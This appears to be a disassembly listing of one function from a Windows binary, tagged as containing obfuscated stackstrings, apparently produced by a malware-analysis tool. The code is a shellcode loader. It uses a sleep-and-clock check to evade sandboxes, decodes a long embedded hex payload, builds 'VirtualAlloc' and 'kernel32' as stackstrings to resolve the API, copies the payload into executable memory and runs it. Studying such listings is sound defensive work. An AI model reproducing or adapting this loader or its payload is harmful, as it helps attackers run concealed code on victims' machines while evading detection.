Function at 0x1400018b4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x520
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x4c0], ecx
mov qword [rbp + 0x4c8], rdx
call dbg.__main
call sym.clock
mov dword [rbp + 0x49c], eax
mov ecx, 0x2c7
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sym.clock
mov dword [rbp + 0x498], eax
mov eax, dword [rbp + 0x498]
sub eax, dword [rbp + 0x49c]
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd qword [rbp + 0x490], xmm0
movsd xmm0, qword [0x140017708]
comisd xmm0, xmmword [rbp + 0x490]
ja 0x140001aab
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
lea rdx, [rbp - 0x30]
mov eax, 0
mov ecx, 0x93
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov word [rdx], ax
add rdx, 2
mov rax, qword [str.9e544442c568c4d3440dd4855ee478f44f4c5d3544043198ef266a357ef02666273202623636666667226263220476b020d0ba584ecc4e3300810588808982c11b2062b50b810b498d1c35810b0488e1af0290954c97f2d017f111911f581922158aaa9d1685df494ff9d3ceac9ea1616795670a04d9388cc14cbaf8d4d753ce5250aea3f35f4a9c152a01f9e4029e01e50a0c08d9038be5110f50019843389099250138838e2e89fc45681850c3020e82d87887810e88c30044750681045544f5140b604f0dd355adcb3444fe4dc65bd865dc4c078008e0f2737627669c95673b7e343776667766666722307463562077722766676677676234636653762333640f07a74942d89694f4444455544d088f870850c92323048122b2b2f11c0128011508408931811911c18964cb8199828bfaee0616511109598d1316b12182af90f97f9dbf1fc31ff23e9e3818af437933ae1448cc1f4d139d1caea0c1a550d524f51ed303970643d4dc574e6447b10b7def6246f5ac9d871680100a3381a096f0485850f321109e055d5557b3c744e480778465445443cccf2d44444804558548f6764e4243c447e82450bc5c4305efc548cf52f00c0d0f6722660eff3c12129e19676626726676663232476625630637267226766626674766256425632326605c18f64bf2a606b530b00be98f40f9d2b4c5a5f333000301112b2b7d011dd1b882807040698d01154944189118a13118fd791917880916b8801aaf999d04bb63880f2af00f1b02a5e2d901dbee04f096ac305fc04ed809f8d9b015150deda6a4f459f14ee0c5551efce8f0e05f0a995f5b185e18bc9a76e210800158991092546708f0d25901f80453682844a6c0554410004d824c04ac3703828404d544e454f56658b7344cb574204659588408534c84ff5bdc0f0e0a76332666b7812253ef1167726766677667337366676233562766670426622605667632723262732666f7f59386ffa744fac00004f4e8b2414c607500f3230ec800680808aacc19212c8b0081b08f16c18085b0bc100118c09aff9e69ac19d1aa3a301179b898205e8391ff2155080008153eed46224084fd00e53584109fcb0cef0e1d33e75eb125083f52dad57a04da75a900733be4260c3b313b2323521bca059a0000f578801a836b57f0ffe1554044443c430004fd4e440d4525f644c3350584d428ff4840e726bca8ae86776262236667666704360662737766c099e63bb10d40b88d0f3f]
lea rdx, [0x140017704]
mov rcx, rax
call sym.rMLqRtLA
mov rdx, rax
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.sFDCzJjw
mov byte [rbp - 0x4d], 0x56
mov byte [rbp - 0x4c], 0x69
mov byte [rbp - 0x4b], 0x72
mov byte [rbp - 0x4a], 0x74
mov byte [rbp - 0x49], 0x75
mov byte [rbp - 0x48], 0x61
mov byte [rbp - 0x47], 0x6c
mov byte [rbp - 0x46], 0x41
mov byte [rbp - 0x45], 0x6c
mov byte [rbp - 0x44], 0x6c
mov byte [rbp - 0x43], 0x6f
mov byte [rbp - 0x42], 0x63
mov byte [rbp - 0x41], 0
lea rax, [rbp - 0x4d]
mov qword [rbp + 0x488], rax
mov byte [rbp - 0x56], 0x6b
mov byte [rbp - 0x55], 0x65
mov byte [rbp - 0x54], 0x72
mov byte [rbp - 0x53], 0x6e
mov byte [rbp - 0x52], 0x65
mov byte [rbp - 0x51], 0x6c
mov byte [rbp - 0x50], 0x33
mov byte [rbp - 0x4f], 0x32
mov byte [rbp - 0x4e], 0
lea rax, [rbp - 0x56]
mov qword [rbp + 0x480], rax
mov rax, qword [rbp + 0x480]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
mov rax, qword [rbp + 0x488]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x478], rax
mov rax, qword [rbp + 0x478]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x4aa
mov ecx, 0
call rax
mov qword [rbp + 0x470], rax
mov rax, qword [rbp + 0x470]
mov rdx, rax
lea rax, [rbp - 0x40]
mov ecx, 0x4aa
mov r8, qword [rax]
mov qword [rdx], r8
mov r8d, ecx
add r8, rdx
lea r9, [r8 + 8]
mov r8d, ecx
add r8, rax
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rdx + 8]
and r8, 0xfffffffffffffff8
sub rdx, r8
sub rax, rdx
add ecx, edx
and ecx, 0xfffffff8
shr ecx, 3
mov edx, ecx
mov edx, edx
mov rdi, r8
mov rsi, rax
mov rcx, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x470]
call rax
jmp 0x140001aac
nop
add rsp, 0x520
pop rsi
pop rdi
pop rbp
ret